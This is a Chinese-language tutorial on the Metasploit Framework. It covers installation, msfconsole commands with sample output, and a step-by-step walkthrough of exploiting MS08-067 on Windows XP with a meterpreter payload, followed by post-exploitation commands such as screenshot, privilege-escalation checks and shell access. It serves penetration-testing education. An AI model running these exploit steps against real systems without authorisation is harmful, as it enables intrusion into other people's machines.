Drollery Medieval drollery of a knight on a horse

🏆 欢迎来到本站: https://xuchangwei.com/希望这里有你感兴趣的内容

flowery border with man falling
flowery border with man falling

Safe: 09-信息安全工具使用进阶

Kali MSF 基本介绍

主要内容:

  • Kaili 问题解答与 MSF 知识
  • MSF 基本命令
  • MSF console Commands

Kali MSF

The Metasploit Framework(简称metasploit),它是一款开源的安全漏洞利用和测试工具,也是目前最流行、最强大、最具扩展性的渗透测试框架之一。集成了各种平台上常见的漏洞和流行的shellcode,并持续保持更新。拥有世界上最大的渗透测试攻击数据库,可以利用其现有的payload进行一系列的渗透测试。

官方网站:https://www.metasploit.com/
github 地址:https://github.com/rapid7/metasploit-framework

如何使用 MSF

MSFconsole是使用Metasploit框架(MSF)的最常用的接口,通过该接口可以实现对MSF的控制和使用。它提供了一个“一体式”集中式控制台,并允许访问 MSF 中几乎所有可用的选项。

Installing Metasploit on Linux / macOS

方法1:

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
  chmod 755 msfinstall && \
  ./msfinstall

方法2:
首先下载pkg文件:
http://osx.metasploit.com/metasploitframework-latest.pkg
双击安装

cd /opt/metasploit-framework/bin/

切换到普通用户,运行命令以开始初始设置

$ msfdb init
Clearing http web data service credentials in msfconsole
Running the 'init' command for the database:
Creating database at /home/jasper/.msf4/db
Creating db socket file at /tmp
Starting database at /home/jasper/.msf4/db...success
Creating database users
Writing client authentication configuration file /home/jasper/.msf4/db/pg_hba.conf
Stopping database at /home/jasper/.msf4/db
Starting database at /home/jasper/.msf4/db...success
Creating initial database schema
Database initialization successful

#检查框架版本
$ msfconsole --version
Framework Version: 6.3.27-dev-

# 启动
$ msfconsole


                 _---------.
             .' #######   ;."
  .---,.    ;@             @@`;   .---,..
." @@@@@'.,'@@            @@@@@',.'@@@@ ".
'-.@@@@@@@@@@@@@          @@@@@@@@@@@@@ @;
   `.@@@@@@@@@@@@        @@@@@@@@@@@@@@ .'
     "--'.@@@  -.@        @ ,'-   .'--"
          ".@' ; @       @ `.  ;'
            |@@@@ @@@     @    .
             ' @@@ @@   @@    ,
              `.@@@@    @@   .
                ',@@     @   ;           _____________
                 (   3 C    )     /|___ / Metasploit! \
                 ;@'. __*__,."    \|--- \_____________/
                  '(.,...."/


       =[ metasploit v6.3.27-dev-                         ]
+ -- --=[ 2333 exploits - 1220 auxiliary - 413 post       ]
+ -- --=[ 1382 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Save the current environment with the
save command, future console restarts will use this
environment again
Metasploit Documentation: https://docs.metasploit.com/

msf6 >

# 更新 Metasploit 框架
$ msfupdate

启动 MSFconsole

在Kali系统的命令行中输入 msfconsole 即可启动。MSFconsole 位于 /usr/share/metasploit-framework/msfconsole 目录中。

加 -q 选项删除开始的图形,是 msfconsole 的安静启动模式。

root@kali:# msfconsole -q
msf >

使用 MSFconsole 界面

img_20230726_140619.png

如何使用命令提示符

可以传递 -h 给 msfconsole 以查看其他可用的使用选项。

msfconsole -h

也可以进入 msf 环境中,使用 help 命令的列出帮助信息。

msf > help

补全标签

MSFconsole 旨在快速使用MSF,由于可用的模块种类繁多,因此可能很难记住我们希望使用的特定模块的确切名称和路径。

与大多数其他 shell 一样,输入我们知道的内容并按“Tab”键将显示可用选项列表,如果只有一个选项,则自动补全字符串。

Tab 补全取决于 ruby readline 扩展,并且控制台中的几乎每个命令都支持 Tab 补全。

use exploit/windows/dcerpc
msf6 > use exploit/windows/smb/ms
use exploit/windows/smb/ms03_049_netapi                     use exploit/windows/smb/ms06_040_netapi                     use exploit/windows/smb/ms10_046_shortcut_icon_dllloader
use exploit/windows/smb/ms04_007_killbill                   use exploit/windows/smb/ms06_066_nwapi                      use exploit/windows/smb/ms10_061_spoolss
use exploit/windows/smb/ms04_011_lsass                      use exploit/windows/smb/ms06_066_nwwks                      use exploit/windows/smb/ms15_020_shortcut_icon_dllloader
use exploit/windows/smb/ms04_031_netdde                     use exploit/windows/smb/ms06_070_wkssvc                     use exploit/windows/smb/ms17_010_eternalblue
use exploit/windows/smb/ms05_039_pnp                        use exploit/windows/smb/ms07_029_msdns_zonename             use exploit/windows/smb/ms17_010_psexec
use exploit/windows/smb/ms06_025_rasmans_reg                use exploit/windows/smb/ms08_067_netapi
use exploit/windows/smb/ms06_025_rras                       use exploit/windows/smb/ms09_050_smb2_negotiate_func_index

exploit 是 Metasploit 最常用的接口。时间有限,不可能展示exploit下的所有漏洞利用模块,所以会挑一些典型的漏洞进行讲解。学会了典型漏洞的利用方式之后,其他的漏洞利用模块都可以按照同样的步骤去学习使用,大同小异。

MSF console Commands

MSFconsole 有许多不同的命令选项可供选择,以下是参考其输出的一组核心 Metasploit 命令。

Core Commands
=============

    Command       Description
    -------       -----------
    banner        Display an awesome metasploit banner
    cd            Change the current working directory
    color         Toggle color
    connect       Communicate with a host
    exit          Exit the console
    get           Gets the value of a context-specific variable
    getg          Gets the value of a global variable
    grep          Grep the output of another command
    help          Help menu
    load          Load a framework plugin
    quit          Exit the console
    route         Route traffic through a session
    save          Saves the active datastores
    sessions      Dump session listings and display information about sessions
    set           Sets a context-specific variable to a value
    setg          Sets a global variable to a value
    sleep         Do nothing for the specified number of seconds
    spool         Write console output into a file as well the screen
    threads       View and manipulate background threads
    unload        Unload a framework plugin
    unset         Unsets one or more context-specific variables
    unsetg        Unsets one or more global variables
    version       Show the framework and console library version numbers


Module Commands
===============

    Command       Description
    -------       -----------
    back          Move back from the current context
    info          Displays information about one or more modules
    loadpath      Searches for and loads modules from a path
    popm          Pops the latest module off the stack and makes it active
    previous      Sets the previously loaded module as the current module
    pushm         Pushes the active or list of modules onto the module stack
    reload_all    Reloads all modules from all defined module paths
    search        Searches module names and descriptions
    use           Interact with a module by name or search term/index
 Job Commands
============

    Command       Description
    -------       -----------
    jobs          Displays and manages jobs
    kill          Kill a job
    rename_job    Rename a job


Resource Script Commands
========================

    Command       Description
    -------       -----------
    makerc        Save commands entered since start to a file
    resource      Run the commands stored in a file


Database Backend Commands
=========================

    Command       Description
    -------       -----------
    workspace     Switch between database workspaces

Developer Commands
==================

    Command       Description
    -------       -----------
    edit          Edit the current module or a file with the preferred editor
    irb           Open an interactive Ruby shell in the current context

back

一旦完成了特定模块的工作,或者如果无意中选择了错误的模块,可以发出 back 命令返回前一个命令行。

msf auxiliary(ms09_001_write) > back
msf >

banner

显示 banner 信息
收录漏洞数、

msf6 > banner
# cowsay++
 ____________
< metasploit >
 ------------
       \   ,__,
        \  (oo)____
           (__)    )\
              ||--|| *


       =[ metasploit v6.3.27-dev-                         ]
+ -- --=[ 2333 exploits - 1220 auxiliary - 413 post       ]
+ -- --=[ 1382 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Save the current environment with the
save command, future console restarts will use this
environment again
Metasploit Documentation: https://docs.metasploit.com/

2333 exploits - 1220 auxiliary - 413 post : 收录 2333 个漏洞模块、1171 辅助模块、413 个后渗透攻击
1382 payloads - 46 encoders - 11 nops:1382 个目标位置可执行指令、46 个加密模块,可以做免疫杀毒

check

漏洞检查 选项,可以检查目标是否容易受到特定漏洞的攻击,而不是实际利用它。需要注意的是,支持check的漏洞利用模块并不多。

msf6 > search ms08
msf6 > use 0
msf6 > info
... ...
Check supported:
  Yes    说明支持Check模块
...



msf6 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.0.4.12        yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting



View the full module info with the info, or info -d command.

msf exploit(ms08_067_netapi) > check
[*] Verifying vulnerable status... (path: 0x0000005a)
[*] System is not vulnerable (status: 0x00000000)
[*] The target is not exploitable.

color

命令行字符设置是否展示颜色,可以搭配banner进行尝试。

msf6 > color
Usage: color <'true'|'false'|'auto'>

Enable or disable color output.

connect

msfconsole 中内置了一个微型 Netcat ,支持 SSL、代理和文件传输。通过发出的 connect 带有 IP 地址和端口号命令,可以从 msfconsole 中连接到远程主机,就像使用 Netcat 或 Telnet 一样。

msf > connect 192.168.1.1 23
[*] Connected to 192.168.1.1:23
DD-WRT v24 std (c) 2008 NewMedia-NET GmbH
Release: 07/27/08 (SVN revision: 10011)
DD-WRT login:

可以通过 -h 来查看所有附加选项参数。

msf6 > connect -h
Usage: connect [options] <host> <port>

Communicate with a host, similar to interacting via netcat, taking advantage of
any configured session pivoting.

OPTIONS:

    -c, --comm <comm>               Specify which Comm to use.
    -C, --crlf                      Try to use CRLF for EOL sequence.
    -h, --help                      Help banner.
    -i, --send-contents <file>      Send the contents of a file.
    -p, --proxies <proxies>         List of proxies to use.
    -P, --source-port <port>        Specify source port.
    -S, --source-address <address>  Specify source address.
    -s, --ssl                       Connect with SSL.
    -u, --udp                       Switch to a UDP socket.
    -w, --timeout <seconds>         Specify connect timeout.
    -z, --try-connection            Just try to connect, then return.

exit

退出 msfconsole.

grep

该 grep 的命令类似的Linux的grep。它匹配来自另一个 msfconsole 命令的输出内容。

以下是使用的示例, grep 匹配包含字符串“http”的输出,该输出来自 搜索 包含字符串“oracle”的模块。

msf6 > grep
Usage: grep [OPTIONS] [--] PATTERN CMD...
Grep the results of a console command (similar to Linux grep command)

    -m, --max-count num              Stop after num matches.
    -A, --after-context num          Show num lines of output after a match.
    -B, --before-context num         Show num lines of output before a match.
    -C, --context num                Show num lines of output around a match.
    -v, --[no-]invert-match          Invert match.
    -i, --[no-]ignore-case           Ignore case.
    -c, --count                      Only print a count of matching lines.
    -k, --keep-header num            Keep (include) num lines at start of output
    -s, --skip-header num            Skip num lines of output before attempting match.
    -h, --help                       Help banner.
        --generate-completions str   Return possible tab completions for given string.
msf6 >
msf6 > grep http search oracle
   0    exploit/windows/http/apache_chunked                                   2002-06-19       good       Yes    Apache Win32 Chunked Encoding
   24   exploit/windows/http/oracle9i_xdb_pass                                2003-08-18       great      Yes    Oracle 9i XDB HTTP PASS Overflow (win32)
   25   exploit/multi/http/oracle_ats_file_upload                             2016-01-20       excellent  Yes    Oracle ATS Arbitrary File Upload
   29   exploit/windows/http/oats_weblogic_console                            2019-03-13       excellent  Yes    Oracle Application Testing Suite WebLogic Server Administration Console War Deployment
   31   exploit/windows/http/oracle_beehive_prepareaudiotoplay                2015-11-10       excellent  Yes    Oracle BeeHive 2 voice-servlet prepareAudioToPlay() Arbitrary File Upload
   32   exploit/windows/http/oracle_beehive_evaluation                        2010-06-09       excellent  Yes    Oracle BeeHive 2 voice-servlet processEvaluation() Vulnerability
   33   exploit/windows/http/oracle_btm_writetofile                           2012-08-07       excellent  No     Oracle Business Transaction Management FlashTunnelService Remote Code Execution
   54   auxiliary/scanner/http/oracle_demantra_file_retrieval                 2014-02-28       normal     No     Oracle Demantra Arbitrary File Retrieval with Authentication Bypass
   55   auxiliary/scanner/http/oracle_demantra_database_credentials_leak      2014-02-28       normal     No     Oracle Demantra Database Credentials Leak
   57   exploit/linux/http/oracle_ebs_rce_cve_2022_21587                      2022-10-01       excellent  Yes    Oracle E-Business Suite (EBS) Unauthenticated Arbitrary File Upload
   58   exploit/windows/http/oracle_endeca_exec                               2013-07-16       excellent  Yes    Oracle Endeca Server Remote Command Execution
   60   exploit/windows/http/oracle_event_processing_upload                   2014-04-21       excellent  Yes    Oracle Event Processing FileUploadServlet Arbitrary File Upload
   61   exploit/multi/http/oracle_reports_rce                                 2014-01-15       great      Yes    Oracle Forms and Reports Remote Code Execution
   62   auxiliary/scanner/http/oracle_ilom_login                                               normal     No     Oracle ILO Manager Login Brute Force Utility
   74   exploit/windows/http/osb_uname_jlist                                  2010-07-13       excellent  No     Oracle Secure Backup Authentication Bypass/Command Injection Vulnerability
   87   exploit/multi/http/weblogic_admin_handle_rce                          2020-10-20       excellent  Yes    Oracle WebLogic Server Administration Console Handle RCE
   88   exploit/multi/http/oracle_weblogic_wsat_deserialization_rce           2017-10-19       excellent  No     Oracle WebLogic wls-wsat Component Deserialization RCE
   89   exploit/windows/http/bea_weblogic_post_bof                            2008-07-17       great      Yes    Oracle Weblogic Apache Connector POST Request Buffer Overflow
   101  auxiliary/scanner/http/glassfish_traversal                            2015-08-08       normal     No     Path Traversal in Oracle GlassFish Server Open Source Edition
   112  exploit/multi/http/glassfish_deployer                                 2011-08-04       excellent  No     Sun/Oracle GlassFish Server Authenticated Code Execution

查询 oracle 漏洞利用模块,过滤包含 weblogic 组件的信息

msf6 > grep weblogic search oracle

help

列出帮助list和所有可用的命令.

info

信息 命令会提供包括所有选项、目标和其它信息的特定漏洞利用模块的详细信息。

info 命令还提供以下信息:

作者和许可信息
漏洞参考(即:CVE、BID 等)
模块可能具有的任何有效载荷限制
msf6 > use exploit/windows/smb/ms09_050_smb2_negotiate_func_index
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms09_050_smb2_negotiate_func_index) > info

       Name: MS09-050 Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference
     Module: exploit/windows/smb/ms09_050_smb2_negotiate_func_index
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2009-09-07


Provided by:
  Laurent Gaffie <[email protected]>
  hdm <[email protected]>
  sf <[email protected]>

Available targets:
      Id  Name
      --  ----
  =>  0   Windows Vista SP1/SP2 and Server 2008 (x86)

Check supported:
  No

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit
                                     /basics/using-metasploit.html
  RPORT   445              yes       The target port (TCP)
  WAIT    180              yes       The number of seconds to wait for the attack to complete.

Payload information:
  Space: 1024

Description:
  This module exploits an out of bounds function table dereference in the SMB
  request validation code of the SRV2.SYS driver included with Windows Vista, Windows 7
  release candidates (not RTM), and Windows 2008 Server prior to R2. Windows Vista
  without SP1 does not seem affected by this flaw.

References:
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2009/MS09-050
  https://nvd.nist.gov/vuln/detail/CVE-2009-3103
  http://www.securityfocus.com/bid/36299
  OSVDB (57799)
  https://seclists.org/fulldisclosure/2009/Sep/0039.html


View the full module info with the info -d command.

jobs

对工作在后台的进程进行操作。

漏洞攻击成功后会创建一个会话连接 session,这些会话默认保存在后台,利用 jobs 切换

kill

杀死正在运行的进程.

msf exploit(ms10_002_aurora) > kill 0
Stopping job: 0...

[*] Server stopped.

search

msfconsole包含广泛的基于正则表达式的搜索功能。如果对所要查找的内容有大致了解,可以通过search进行搜索。

msf6 > search usermap_script

Matching Modules
================

   #  Name                                Disclosure Date  Rank       Check  Description
   -  ----                                ---------------  ----       -----  -----------
   0  exploit/multi/samba/usermap_script  2007-05-14       excellent  No     Samba "username map script" Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script

name

要使用描述性名称进行搜索,需要使用name关键字。

msf6 > search name:mysql

Matching Modules
================

   #   Name                                               Disclosure Date  Rank       Check  Description
   -   ----                                               ---------------  ----       -----  -----------
   0   auxiliary/server/capture/mysql                                      normal     No     Authentication Capture: MySQL
   1   auxiliary/scanner/mysql/mysql_writable_dirs                         normal     No     MYSQL Directory Write Test
   2   auxiliary/scanner/mysql/mysql_file_enum                             normal     No     MYSQL File/Directory Enumerator
   3   auxiliary/scanner/mysql/mysql_hashdump                              normal     No     MYSQL Password Hashdump
   4   auxiliary/scanner/mysql/mysql_schemadump                            normal     No     MYSQL Schema Dump
   5   auxiliary/scanner/mysql/mysql_authbypass_hashdump  2012-06-09       normal     No     MySQL Authentication Bypass Password Dump
   6   auxiliary/admin/mysql/mysql_enum                                    normal     No     MySQL Enumeration Module
   7   auxiliary/scanner/mysql/mysql_login                                 normal     No     MySQL Login Utility
   8   auxiliary/admin/mysql/mysql_sql                                     normal     No     MySQL SQL Generic Query
   9   auxiliary/scanner/mysql/mysql_version                               normal     No     MySQL Server Version Enumeration
   10  exploit/linux/mysql/mysql_yassl_getname            2010-01-25       good       No     MySQL yaSSL CertDecoder::GetName Buffer Overflow
   11  exploit/linux/mysql/mysql_yassl_hello              2008-01-04       good       No     MySQL yaSSL SSL Hello Message Buffer Overflow
   12  exploit/windows/mysql/mysql_yassl_hello            2008-01-04       average    No     MySQL yaSSL SSL Hello Message Buffer Overflow
   13  exploit/multi/mysql/mysql_udf_payload              2009-01-16       excellent  No     Oracle MySQL UDF Payload Execution
   14  exploit/windows/mysql/mysql_start_up               2012-12-01       excellent  Yes    Oracle MySQL for Microsoft Windows FILE Privilege Abuse
   15  exploit/windows/mysql/mysql_mof                    2012-12-01       excellent  Yes    Oracle MySQL for Microsoft Windows MOF Execution
   16  exploit/windows/mysql/scrutinizer_upload_exec      2012-07-27       excellent  Yes    Plixer Scrutinizer NetFlow and sFlow Analyzer 9 Default MySQL Credential


Interact with a module by name or index. For example info 16, use 16 or use exploit/windows/mysql/scrutinizer_upload_exec

platform

可以使用platform将搜索范围缩小到影响特定平台的模块。

msf > search platform:aix

type

使用type可以按模块类型进行过滤,如辅助、发布、利用等。

msf > search type:post

author

使用author关键字搜索,可以按自己喜好的作者搜索模块。

msf > search author:dookie

multiple

还可以将多个关键字组合在一起,以进一步缩小返回结果的范围。

msf6 > search cve:2011 author:jduck platform:linux

Matching Modules
================

   #  Name                                         Disclosure Date  Rank     Check  Description
   -  ----                                         ---------------  ----     -----  -----------
   0  exploit/linux/misc/netsupport_manager_agent  2011-01-08       average  No     NetSupport Manager Agent Remote Buffer Overflow


Interact with a module by name or index. For example info 0, use 0 or use exploit/linux/misc/netsupport_manager_agent

sessions

sessions命令允许列出、与衍生会话交互和终止衍生会话。

要列出所有活动的会话,使用 -l 选项传递给sessions。
要与给定会话交互,只需使用 -i ,后面跟会话的id号。

set

set命令允许为正在使用的当前模块配置框架选项和参数。

msf6 > use exploit/windows/smb/ms09_050_smb2_negotiate_func_index
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp

msf6 exploit(windows/smb/ms09_050_smb2_negotiate_func_index) > options

Module options (exploit/windows/smb/ms09_050_smb2_negotiate_func_index):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploi
                                      t/basics/using-metasploit.html
   RPORT   445              yes       The target port (TCP)
   WAIT    180              yes       The number of seconds to wait for the attack to complete.


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.39     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port






msf6 exploit(windows/smb/ms09_050_smb2_negotiate_func_index) > set RHOST 172.16.194.134
RHOST => 172.16.194.134
msf6 exploit(windows/smb/ms09_050_smb2_negotiate_func_index) > show options

Module options (exploit/windows/smb/ms09_050_smb2_negotiate_func_index):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  172.16.194.134   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

Metasploit还允许设置在运行时使用的编码器。当不确定哪些有效负载编码方法将与给定的漏洞一起工作时,就需要进行选择。这在漏洞利用开发中特别有用。

msf6 exploit(windows/smb/ms09_050_smb2_negotiate_func_index) >  show encoders

Compatible Encoders
===================

   #   Name                                  Disclosure Date  Rank       Check  Description
   -   ----                                  ---------------  ----       -----  -----------
   0   encoder/generic/eicar                                  manual     No     The EICAR Encoder
   1   encoder/generic/none                                   normal     No     The "none" Encoder
   2   encoder/x86/add_sub                                    manual     No     Add/Sub Encoder
   3   encoder/x86/alpha_mixed                                low        No     Alpha2 Alphanumeric Mixedcase Encoder
   4   encoder/x86/alpha_upper                                low        No     Alpha2 Alphanumeric Uppercase Encoder
   5   encoder/x86/avoid_underscore_tolower                   manual     No     Avoid underscore/tolower
   6   encoder/x86/avoid_utf8_tolower                         manual     No     Avoid UTF8/tolower
   7   encoder/x86/bloxor                                     manual     No     BloXor - A Metamorphic Block Based XOR Encoder
   8   encoder/x86/bmp_polyglot                               manual     No     BMP Polyglot
   9   encoder/x86/call4_dword_xor                            normal     No     Call+4 Dword XOR Encoder
   10  encoder/x86/context_cpuid                              manual     No     CPUID-based Context Keyed Payload Encoder
   11  encoder/x86/context_stat                               manual     No     stat(2)-based Context Keyed Payload Encoder
   12  encoder/x86/context_time                               manual     No     time(2)-based Context Keyed Payload Encoder
   13  encoder/x86/countdown                                  normal     No     Single-byte XOR Countdown Encoder
   14  encoder/x86/fnstenv_mov                                normal     No     Variable-length Fnstenv/mov Dword XOR Encoder
   15  encoder/x86/jmp_call_additive                          normal     No     Jump/Call XOR Additive Feedback Encoder
   16  encoder/x86/nonalpha                                   low        No     Non-Alpha Encoder
   17  encoder/x86/nonupper                                   low        No     Non-Upper Encoder
   18  encoder/x86/opt_sub                                    manual     No     Sub Encoder (optimised)
   19  encoder/x86/service                                    manual     No     Register Service
   20  encoder/x86/shikata_ga_nai                             excellent  No     Polymorphic XOR Additive Feedback Encoder
   21  encoder/x86/single_static_bit                          manual     No     Single Static Bit
   22  encoder/x86/unicode_mixed                              manual     No     Alpha2 Alphanumeric Unicode Mixedcase Encoder
   23  encoder/x86/unicode_upper                              manual     No     Alpha2 Alphanumeric Unicode Uppercase Encoder
   24  encoder/x86/xor_dynamic                                normal     No     Dynamic key XOR Encoder
   25  encoder/x86/xor_poly                                   normal     No     XOR POLY Encoder

unset

与set命令相反的是unset取消设置,将删除以前使用设置所配置的参数。可以使用unset all删除所有分配的变量。

msf6 > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf6 > set THREADS 50
THREADS => 50
msf6 > set

Global
======

  Name     Value
  ----     -----
  RHOSTS   192.168.1.0/24
  THREADS  50

msf6 > unset THREADS
Unsetting THREADS...
msf6 > unset all
Unsetting datastore...
msf6 > set

Global
======

No entries in data store.

msf6 >

setg

为了节省渗透期间的大量输入,可以在msfconsole中设置 全局变量

可以使用setg命令执行此操作。一旦这些设置完成,可以在任意多的漏洞利用和辅助模块中使用它们,还可以保存它们以供下次启动msfconsole时使用。

msf6 > setg LHOST 192.168.1.101
LHOST => 192.168.1.101
msf6 > setg RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf6 > setg RHOST 192.168.1.136
RHOST => 192.168.1.136

设置不同的变量后,可以运行save命令保存当前环境和设置。保存设置后,它们将在启动时自动加载,从而无需再次设置所有内容。

msf6 > save
Saved configuration to: /home/jasper/.msf4/config

show

在 msfconsole 提示符下输入 show 命令将显示Metasploit中的每个模块,比如常用的命令是show auxiliary、show exploits、show payloads、show encoders。

auxiliary

Metasploit的辅助模块,主要用于信息搜集阶段,功能包括扫描、口令猜解、敏感信息嗅探、FUZZ测试发掘漏洞、实施网络协议欺骗等。

msf6 > show auxiliary

Auxiliary
=========

   #     Name                                                                     Disclosure Date  Rank    Check  Description
   -     ----                                                                     ---------------  ----    -----  -----------
   0     auxiliary/admin/2wire/xslt_password_reset                                2007-08-15       normal  No     2Wire Cross-Site Request Forgery Password Reset Vulnerability
   1     auxiliary/admin/android/google_play_store_uxss_xframe_rce                                 normal  No     Android Browser RCE Through Google Play Store XFO

... ...

exploits

show exploits是我们最感兴趣的模块,因为Metasploit的核心是利用漏洞。运行show exploits以获取 MSF 框架中包含的所有漏洞的列表。

msf > show exploits

payloads

运行show payloads将显示Metasploit中所有可用平台的所有不同有效载荷。

msf > show payloads

当处于某个特定漏洞利用模块下时,运行show payloads将只显示与该特定漏洞利用模块兼容的有效负载。例如,如果它是一个Windows漏洞,将不会看到Linux有效负载。

msf6 > use exploit/windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > show payloads

options

如果选择了特定模块,则可以发出show options命令,显示该特定模块下必要&可选的设置项。

msf6 > use exploit/windows/smb/ms08_067_netapi

msf6 exploit(windows/smb/ms08_067_netapi) > show options

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasplo
                                       it/basics/using-metasploit.html
   RPORT    445              yes       The SMB service port (TCP)

参数名  当前设置  是否必须  描述

targets

如果不确定操作系统是否易受特定攻击,在攻击模块的上下文中运行show targets命令,查看支持哪些目标。

msf6 exploit(windows/smb/ms08_067_netapi) > show targets

Exploit targets:
=================

    Id  Name
    --  ----
=>  0   Automatic Targeting
    1   Windows 2000 Universal
    2   Windows XP SP0/SP1 Universal
    3   Windows 2003 SP0 Universal
    4   Windows XP SP2 English (AlwaysOn N

advanced

如果希望进一步微调漏洞,可以通过运行show advanced查看更多高级选项。

用的不多
设置一些扫描速度、带宽

msf exploit(ms08_067_netapi) > show advanced

encoders

运行show encoders将显示MSF中可用的编码器列表。

解决乱码问题、对攻击流量做加密

msf6 exploit(windows/smb/ms17_010_eternalblue) > show encoders

Compatible Encoders
===================

   #  Name                      Disclosure Date  Rank    Check  Description
   -  ----                      ---------------  ----    -----  -----------
   0  encoder/generic/eicar                      manual  No     The EICAR Encoder
   1  encoder/generic/none                       normal  No     The "none" Encoder
   2  encoder/x64/xor                            normal  No     XOR Encoder
   3  encoder/x64/xor_dynamic                    normal  No     Dynamic key XOR Encoder
   4  encoder/x64/zutto_dekiru                   manual  No     Zutto Dekiru

use

当决定使用某个特定模块时,使用use命令来选择它。use命令将上下文更改为特定模块。
或者在 search 查找漏洞模块后,使用 use 编号使用这个模块

msf > use dos/windows/smb/ms09_001_write
msf auxiliary(ms09_001_write) > show options

meterpreter 内命令

攻击成功后的命令操作

# 攻击成功后进行 meterpreter 执行攻击命令
meterpreter > help 帮助
getuid 用户
screenshot 截屏
getpid 进程号
pwd 路径
sysinfo 系统信息
录屏
关机

backgroud 将会话放入后台
sessions 查看会话
sessions -i [Id] 进入会话
run post/windows/gather/enum_patches 查看补丁信息
run post/multi/recon/local_exploit_suggester 查询哪些提权exp可以用,比较慢,失败了就再来一次
shell 进入目标终端

MSF 漏洞利用

内容安全:

  • MS08-067 漏洞攻防还原
  • MS10-018 漏洞攻防还原
  • MS17-010 漏洞与勒索病毒的深度解析
  • MS17-010 漏洞攻防还原
  • MSF 之 samba 服务漏洞攻防还原
  • Bash Shellshock CVE-2014-6271(破壳)与 PHP CGI 漏洞还原
  • MSF 之 CVE-2017-8464 震网三代、CVE-2018-4878 漏洞攻防还原与辅助模块
  • MSF 之后续权限提升

渗透测试:web漏洞,在前端

范围:web标准(html、JS),数量级是100左右

主机层:主机漏洞,在后端

取决于部署了什么操作系统(windows、linux、mac、unix),中间件、数据库、网络协议、应用程序,主机漏洞数量级是几十万,覆盖面非常广

MS08-067漏洞

MS08-067漏洞会影响Windows 2000/XP/Server 2003/Vista/Server 2008的各个版本,甚至还包括测试阶段的Windows 7 Pro-Beta。

如果用户在受影响的系统上收到特制的 RPC 请求,则可能导致攻击者在未经身份验证的情况下利用此漏洞运行任意代码,实现远程代码执行。现阶段,已经可以通过防火墙来阻断该漏洞的攻击。

漏洞利用

受攻击方:关闭主机防火墙。找到控制面板设置防火墙

攻击方:

# 输入msfconsole进入msf终端
msfconsole

# 查找ms08-067漏洞利用模块
search ms08-067

msf6 > search ms08-067

Matching Modules
================

   #  Name                                 Disclosure Date  Rank   Check  Description
   -  ----                                 ---------------  ----   -----  -----------
   0  exploit/windows/smb/ms08_067_netapi  2008-10-28       great  Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption

# 使用查找出来的攻击模块
use exploit/windows/smb/ms08_067_netapi
或者use 0

# 查看该攻击模块下所需的配置信息
show options 或者 options

msf6 exploit(windows/smb/ms08_067_netapi) > options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit
                                       /basics/using-metasploit.html
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.151.32.60     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting  自动检测操作系统版本

# rhost 漏洞主机地址
# lhost 监控地址,即源原地址
# Payload options (windows/meterpreter/reverse_tcp): 默认的payload
# reverse_x 反弹shell,由内向外建立连接通道
# bind_x 主动模块,主动打
# 设置靶机地址
set RHOSTS your_ip

# 查看targets
show targets

# 选择攻击目标(这里我们攻击 ip 对应的xp系统)
set tartget 34

# 再次检查配置信息
show options

# 查看有哪些 pyload 可利用
show payloads

# 设置攻击payload
set payload windows/meterpreter/bind_tcp

# 执行exploit攻击
exploit
# 攻击成功后进行 meterpreter 执行攻击命令
meterpreter > getuid 用户
screenshot 截屏
getpid 进程号
pwd 路径
sysinfo 系统信息
录屏
关机
等
img_20230726_161235.png

进入Windows Shell
shell

